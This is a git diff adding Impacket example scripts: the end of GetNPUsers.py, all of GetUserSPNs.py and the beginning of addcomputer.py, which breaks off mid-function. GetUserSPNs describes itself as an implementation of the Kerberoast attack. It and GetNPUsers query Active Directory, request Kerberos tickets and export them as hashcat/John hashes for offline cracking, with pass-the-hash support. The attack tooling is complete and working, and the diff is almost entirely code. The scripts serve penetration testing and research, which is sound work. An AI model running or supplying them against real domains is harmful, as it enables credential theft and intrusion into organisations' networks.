+                usernames = [answer[0] for answer in answers]
+                self.request_multiple_TGTs(usernames)
+
+        else:
+            print("No entries found!")
+
+    def request_users_file_TGTs(self):
+        with open(self.__usersFile) as fi:
+            usernames = [line.strip() for line in fi]
+
+        self.request_multiple_TGTs(usernames)
+
+    def request_multiple_TGTs(self, usernames):
+        if self.__outputFileName is not None:
+            fd = open(self.__outputFileName, 'w+')
+        else:
+            fd = None
+        for username in usernames:
+            try:
+                entry = self.getTGT(username)
+                self.outputTGT(entry, fd)
+            except Exception as e:
+                logging.error('%s' % str(e))
+        if fd is not None:
+            fd.close()
+
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
+                                  "'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]]')
+    parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them '
+                                                                               'in JtR/hashcat format (default False)')
+    parser.add_argument('-outputfile', action='store',
+                        help='Output filename to write ciphers in JtR/hashcat format')
+
+    parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
+                        help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')
+
+    parser.add_argument('-usersfile', help='File with user per line to test')
+
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
+                                                                              'ommited it use the domain part (FQDN) '
+                                                                              'specified in the target parameter')
+    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
+                                                                              'If ommited, the domain part (FQDN) '
+                                                                              'specified in the account parameter will be used')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        print("\nThere are a few modes for using this script")
+        print("\n1. Get a TGT for a user:")
+        print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass")
+        print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
+              "\notherwise a badpwdcount entry will be added to the user")
+        print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
+        print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily")
+        print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
+              "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
+        print("\n3. Request TGTs for all users")
+        print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily")
+        print("\n4. Request TGTs for users in a file")
+        print("\n\tGetNPUsers.py -no-pass -usersfile users.txt contoso.com/")
+        print("\nFor this operation you don\'t need credentials.")
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.target)
+
+    if domain == '':
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.k is False and options.no_pass is True and username == '' and options.usersfile is None:
+        logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!')
+        sys.exit(1)
+
+    if options.outputfile is not None:
+        options.request = True
+
+    try:
+        executer = GetUserNoPreAuth(username, password, domain, options)
+        executer.run()
+    except Exception as e:
+        logging.debug("Exception:", exc_info=True)
+        logging.error(str(e))
diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py
new file mode 100644
index 0000000..1713805
--- /dev/null
+++ b/examples/GetUserSPNs.py
@@ -0,0 +1,536 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This module will try to find Service Principal Names that are associated with normal user account.
+#   Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
+#   will encrypt the ticket with the account the SPN is running under, this could be used for an offline
+#   bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
+#   This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
+#   https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
+#
+#   Original idea of implementing this in Python belongs to @skelsec and his
+#   https://github.com/skelsec/PyKerberoast project
+#
+#   This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
+#   Also, disabled accounts won't be shown.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [X] Add the capability for requesting TGS and output them in JtR/hashcat format
+#   [X] Improve the search filter, we have to specify we don't want machine accounts in the answer
+#       (play with userAccountControl)
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import logging
+import sys
+from datetime import datetime
+from binascii import hexlify, unhexlify
+
+from pyasn1.codec.der import decoder
+from impacket import version
+from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \
+    UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import TGS_REP
+from impacket.krb5.ccache import CCache
+from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+from impacket.krb5.types import Principal
+from impacket.ldap import ldap, ldapasn1
+from impacket.smbconnection import SMBConnection, SessionError
+from impacket.ntlm import compute_lmhash, compute_nthash
+
+
+class GetUserSPNs:
+    @staticmethod
+    def printTable(items, header):
+        colLen = []
+        for i, col in enumerate(header):
+            rowMaxLen = max([len(row[i]) for row in items])
+            colLen.append(max(rowMaxLen, len(col)))
+
+        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
+
+        # Print header
+        print(outputFormat.format(*header))
+        print('  '.join(['-' * itemLen for itemLen in colLen]))
+
+        # And now the rows
+        for row in items:
+            print(outputFormat.format(*row))
+
+    def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):
+        self.__username = username
+        self.__password = password
+        self.__domain = user_domain
+        self.__target = None
+        self.__targetDomain = target_domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__outputFileName = cmdLineOptions.outputfile
+        self.__usersFile = cmdLineOptions.usersfile
+        self.__aesKey = cmdLineOptions.aesKey
+        self.__doKerberos = cmdLineOptions.k
+        self.__requestTGS = cmdLineOptions.request
+        # [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
+        self.__kdcIP = cmdLineOptions.dc_ip
+        self.__kdcHost = cmdLineOptions.dc_host
+        self.__saveTGS = cmdLineOptions.save
+        self.__requestUser = cmdLineOptions.request_user
+        if cmdLineOptions.hashes is not None:
+            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
+
+        # Create the baseDN
+        domainParts = self.__targetDomain.split('.')
+        self.baseDN = ''
+        for i in domainParts:
+            self.baseDN += 'dc=%s,' % i
+        # Remove last ','
+        self.baseDN = self.baseDN[:-1]
+        # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain
+        # because then the KDC host will be used for both
+        # the initial and the referral ticket, which breaks stuff.
+        if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost):
+            logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.')
+            self.__kdcIP = None
+            self.__kdcHost = None
+
+    def getMachineName(self, target):
+        try:
+            s = SMBConnection(target, target)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except Exception:
+            if s.getServerName() == '':
+                raise Exception('Error while anonymous logging into %s' % target)
+        else:
+            s.logoff()
+        return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
+
+    @staticmethod
+    def getUnixTime(t):
+        t -= 116444736000000000
+        t /= 10000000
+        return t
+
+    def getTGT(self):
+        domain, _, TGT, _ = CCache.parseFile(self.__domain)
+        if TGT is not None:
+            return TGT
+
+        # No TGT in cache, request it
+        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
+        # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
+        # cleartext password.
+        # If no clear text password is provided, we just go with the defaults.
+        if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''):
+            try:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
+                                                                        compute_lmhash(self.__password),
+                                                                        compute_nthash(self.__password), self.__aesKey,
+                                                                        kdcHost=self.__kdcIP)
+            except Exception as e:
+                logging.debug('TGT: %s' % str(e))
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                        unhexlify(self.__lmhash),
+                                                                        unhexlify(self.__nthash), self.__aesKey,
+                                                                        kdcHost=self.__kdcIP)
+
+        else:
+            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                    unhexlify(self.__lmhash),
+                                                                    unhexlify(self.__nthash), self.__aesKey,
+                                                                    kdcHost=self.__kdcIP)
+        TGT = {}
+        TGT['KDC_REP'] = tgt
+        TGT['cipher'] = cipher
+        TGT['sessionKey'] = sessionKey
+
+        return TGT
+
+    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
+        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
+
+        # According to RFC4757 (RC4-HMAC) the cipher part is like:
+        # struct EDATA {
+        #       struct HEADER {
+        #               OCTET Checksum[16];
+        #               OCTET Confounder[8];
+        #       } Header;
+        #       OCTET Data[0];
+        # } edata;
+        #
+        # In short, we're interested in splitting the checksum and the rest of the encrypted data
+        #
+        # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
+        # last 12 bytes of the encrypted ticket represent the checksum of the decrypted 
+        # ticket
+        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
+            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
+                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'],
+                spn.replace(':', '~'),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
+            if fd is None:
+                print(entry)
+            else:
+                fd.write(entry + '\n')
+        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
+            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
+                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
+                spn.replace(':', '~'),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
+            if fd is None:
+                print(entry)
+            else:
+                fd.write(entry + '\n')
+        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
+                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
+                spn.replace(':', '~'),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
+            if fd is None:
+                print(entry)
+            else:
+                fd.write(entry + '\n')
+        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
+            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
+                constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'],
+                spn.replace(':', '~'),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
+                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
+            if fd is None:
+                print(entry)
+            else:
+                fd.write(entry + '\n')
+        else:
+            logging.error('Skipping %s/%s due to incompatible e-type %d' % (
+                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
+                decodedTGS['ticket']['enc-part']['etype']))
+
+        if self.__saveTGS is True:
+            # Save the ticket
+            logging.debug('About to save TGS for %s' % username)
+            ccache = CCache()
+            try:
+                ccache.fromTGS(tgs, oldSessionKey, sessionKey)
+                ccache.saveFile('%s.ccache' % username)
+            except Exception as e:
+                logging.error(str(e))
+
+    def run(self):
+        if self.__usersFile:
+            self.request_users_file_TGSs()
+            return
+
+        if self.__kdcHost is not None and self.__targetDomain == self.__domain:
+            self.__target = self.__kdcHost
+        else:
+            if self.__kdcIP is not None and self.__targetDomain == self.__domain:
+                self.__target = self.__kdcIP
+            else:
+                self.__target = self.__targetDomain
+
+            if self.__doKerberos:
+                logging.info('Getting machine hostname')
+                self.__target = self.getMachineName(self.__target)
+
+        # Connect to LDAP
+        try:
+            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
+            if self.__doKerberos is not True:
+                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                             self.__nthash,
+                                             self.__aesKey, kdcHost=self.__kdcIP)
+        except ldap.LDAPSessionError as e:
+            if str(e).find('strongerAuthRequired') >= 0:
+                # We need to try SSL
+                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
+                if self.__doKerberos is not True:
+                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+                else:
+                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                                 self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcIP)
+            else:
+                if str(e).find('NTLMAuthNegotiate') >= 0:
+                    logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
+                                     "authentication instead.")
+                else:
+                    if self.__kdcIP is not None and self.__kdcHost is not None:
+                        logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
+                                         "must match exactly each other")
+                raise
+
+        # Building the search filter
+        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
+                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"
+
+        if self.__requestUser is not None:
+            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
+        else:
+            searchFilter += ')'
+
+        try:
+            resp = ldapConnection.search(searchFilter=searchFilter,
+                                         attributes=['servicePrincipalName', 'sAMAccountName',
+                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
+                                         sizeLimit=100000)
+        except ldap.LDAPSearchError as e:
+            if e.getErrorString().find('sizeLimitExceeded') >= 0:
+                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
+                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
+                # paged queries
+                resp = e.getAnswers()
+                pass
+            else:
+                raise
+
+        answers = []
+        logging.debug('Total of records returned %d' % len(resp))
+
+        for item in resp:
+            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
+                continue
+            mustCommit = False
+            sAMAccountName = ''
+            memberOf = ''
+            SPNs = []
+            pwdLastSet = ''
+            userAccountControl = 0
+            lastLogon = 'N/A'
+            delegation = ''
+            try:
+                for attribute in item['attributes']:
+                    if str(attribute['type']) == 'sAMAccountName':
+                        sAMAccountName = str(attribute['vals'][0])
+                        mustCommit = True
+                    elif str(attribute['type']) == 'userAccountControl':
+                        userAccountControl = str(attribute['vals'][0])
+                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
+                            delegation = 'unconstrained'
+                        elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
+                            delegation = 'constrained'
+                    elif str(attribute['type']) == 'memberOf':
+                        memberOf = str(attribute['vals'][0])
+                    elif str(attribute['type']) == 'pwdLastSet':
+                        if str(attribute['vals'][0]) == '0':
+                            pwdLastSet = '<never>'
+                        else:
+                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                    elif str(attribute['type']) == 'lastLogon':
+                        if str(attribute['vals'][0]) == '0':
+                            lastLogon = '<never>'
+                        else:
+                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                    elif str(attribute['type']) == 'servicePrincipalName':
+                        for spn in attribute['vals']:
+                            SPNs.append(str(spn))
+
+                if mustCommit is True:
+                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
+                        logging.debug('Bypassing disabled account %s ' % sAMAccountName)
+                    else:
+                        for spn in SPNs:
+                            answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])
+            except Exception as e:
+                logging.error('Skipping item, cannot process due to error %s' % str(e))
+                pass
+
+        if len(answers) > 0:
+            self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon",
+                                             "Delegation"])
+            print('\n\n')
+
+            if self.__requestTGS is True or self.__requestUser is not None:
+                # Let's get unique user names and a SPN to request a TGS for
+                users = dict((vals[1], vals[0]) for vals in answers)
+
+                # Get a TGT for the current user
+                TGT = self.getTGT()
+
+                if self.__outputFileName is not None:
+                    fd = open(self.__outputFileName, 'w+')
+                else:
+                    fd = None
+
+                for user, SPN in users.items():
+                    sAMAccountName = user
+                    downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName
+
+                    try:
+                        principalName = Principal()
+                        principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
+                        principalName.components = [downLevelLogonName]
+
+                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
+                                                                                self.__kdcHost,
+                                                                                TGT['KDC_REP'], TGT['cipher'],
+                                                                                TGT['sessionKey'])
+                        self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,
+                                       self.__targetDomain + "/" + sAMAccountName, fd)
+                    except Exception as e:
+                        logging.debug("Exception:", exc_info=True)
+                        logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
+
+                if fd is not None:
+                    fd.close()
+
+        else:
+            print("No entries found!")
+
+    def request_users_file_TGSs(self):
+
+        with open(self.__usersFile) as fi:
+            usernames = [line.strip() for line in fi]
+
+        self.request_multiple_TGSs(usernames)
+
+    def request_multiple_TGSs(self, usernames):
+        # Get a TGT for the current user
+        TGT = self.getTGT()
+
+        if self.__outputFileName is not None:
+            fd = open(self.__outputFileName, 'w+')
+        else:
+            fd = None
+
+        for username in usernames:
+            try:
+                principalName = Principal()
+                principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
+                principalName.components = [username]
+
+                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
+                                                                        self.__kdcHost,
+                                                                        TGT['KDC_REP'], TGT['cipher'],
+                                                                        TGT['sessionKey'])
+                self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
+            except Exception as e:
+                logging.debug("Exception:", exc_info=True)
+                logging.error('Principal: %s - %s' % (username, str(e)))
+
+        if fd is not None:
+            fd.close()
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Queries target domain for SPNs that are running "
+                                                                "under a user account")
+
+    parser.add_argument('target', action='store', help='domain[/username[:password]]')
+    parser.add_argument('-target-domain', action='store',
+                        help='Domain to query/request if different than the domain of the user. '
+                             'Allows for Kerberoasting across trusts.')
+    parser.add_argument('-usersfile', help='File with user per line to test')
+    parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
+                                                                             'in JtR/hashcat format (default False)')
+    parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
+                                                                                  'to the user specified (just the username, no domain needed)')
+    parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is '
+                                                                          '<username>.ccache. Auto selects -request')
+    parser.add_argument('-outputfile', action='store',
+                        help='Output filename to write ciphers in JtR/hashcat format')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file '
+                            '(KRB5CCNAME) based on target parameters. If valid credentials '
+                            'cannot be found, it will use the ones specified in the command '
+                            'line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
+                                                                            'ommited it use the domain part (FQDN) '
+                                                                            'specified in the target parameter. Ignored'
+                                                                            'if -target-domain is specified.')
+    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
+                                                                            'If ommited, the domain part (FQDN) '
+                                                                            'specified in the account parameter will be used')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    userDomain, username, password = parse_credentials(options.target)
+
+    if userDomain == '':
+        logging.critical('userDomain should be specified!')
+        sys.exit(1)
+
+    if options.target_domain:
+        targetDomain = options.target_domain
+    else:
+        targetDomain = userDomain
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.save is True or options.outputfile is not None:
+        options.request = True
+
+    try:
+        executer = GetUserSPNs(username, password, userDomain, targetDomain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/addcomputer.py b/examples/addcomputer.py
new file mode 100644
index 0000000..c28112f
--- /dev/null
+++ b/examples/addcomputer.py
@@ -0,0 +1,621 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will add a computer account to the domain and set its password.
+#   Allows to use SAMR over SMB (this way is used by modern Windows computer when
+#   adding machines through the GUI) and LDAPS.
+#   Plain LDAP is not supported, as it doesn't allow setting the password.
+#
+# Author:
+#   JaGoTu (@jagotu)
+#
+# Reference for:
+#   SMB, SAMR, LDAP
+#
+# ToDo:
+#   [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol
+#
+
+from __future__ import division
+from __future__ import print_function
+from __future__ import unicode_literals
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
+
+import ldap3
+import argparse
+import logging
+import sys
+import string
+import random
+import ssl
+from binascii import unhexlify
+
+
+class ADDCOMPUTER:
+    def __init__(self, username, password, domain, cmdLineOptions):
+        self.options = cmdLineOptions
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__hashes = cmdLineOptions.hashes
+        self.__aesKey = cmdLineOptions.aesKey
+        self.__doKerberos = cmdLineOptions.k
+        self.__target = cmdLineOptions.dc_host
+        self.__kdcHost = cmdLineOptions.dc_host
+        self.__computerName = cmdLineOptions.computer_name
+        self.__computerPassword = cmdLineOptions.computer_pass
+        self.__method = cmdLineOptions.method
+        self.__port = cmdLineOptions.port
+        self.__domainNetbios = cmdLineOptions.domain_netbios
+        self.__noAdd = cmdLineOptions.no_add
+        self.__delete = cmdLineOptions.delete
+        self.__targetIp = cmdLineOptions.dc_ip
+        self.__baseDN = cmdLineOptions.baseDN
+        self.__computerGroup = cmdLineOptions.computer_group
+
+        if self.__targetIp is not None:
+            self.__kdcHost = self.__targetIp
+
+        if self.__method not in ['SAMR', 'LDAPS']:
+            raise ValueError("Unsupported method %s" % self.__method)
+
+        if self.__doKerberos and cmdLineOptions.dc_host is None:
+            raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")
+
+        if self.__method == 'LDAPS' and not '.' in self.__domain:
+                logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
+
+        if cmdLineOptions.hashes is not None:
+            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
+
+        if self.__computerName is None:
+            if self.__noAdd:
+                raise ValueError("You have to provide a computer name when using -no-add.")
+            elif self.__delete:
+                raise ValueError("You have to provide a computer name when using -delete.")
+        else:
+            if self.__computerName[-1] != '$':
+                self.__computerName += '$'
+
+        if self.__computerPassword is None:
+            self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
+
+        if self.__target is None:
+            if not '.' in self.__domain:
+                logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)
+            self.__target = self.__domain
+
+        if self.__port is None:
+            if self.__method == 'SAMR':
+                self.__port = 445
+            elif self.__method == 'LDAPS':
+                self.__port = 636
+
+        if self.__domainNetbios is None:
+            self.__domainNetbios = self.__domain
+
+        if self.__method == 'LDAPS' and self.__baseDN is None:
+             # Create the baseDN
+            domainParts = self.__domain.split('.')
+            self.__baseDN = ''
+            for i in domainParts:
+                self.__baseDN += 'dc=%s,' % i
+            # Remove last ','
+            self.__baseDN = self.__baseDN[:-1]
+
+        if self.__method == 'LDAPS' and self.__computerGroup is None:
+            self.__computerGroup = 'CN=Computers,' + self.__baseDN
+
+
+
+    def run_samr(self):
+        if self.__targetIp is not None:
+            stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
+        else:
+            stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.set_dport(self.__port)
+
+        if self.__targetIp is not None:
+            rpctransport.setRemoteHost(self.__targetIp)
+            rpctransport.setRemoteName(self.__target)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+        self.doSAMRAdd(rpctransport)
+
+    def run_ldaps(self):
+        connectTo = self.__target
+        if self.__targetIp is not None:
+            connectTo = self.__targetIp
+        try:
+            user = '%s\\%s' % (self.__domain, self.__username)
+            tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
+            try:
+                ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)
+                if self.__doKerberos:
+                    ldapConn = ldap3.Connection(ldapServer)
+                    self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcHost)
+                elif self.__hashes is not None:
+                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
+                    ldapConn.bind()
+                else:
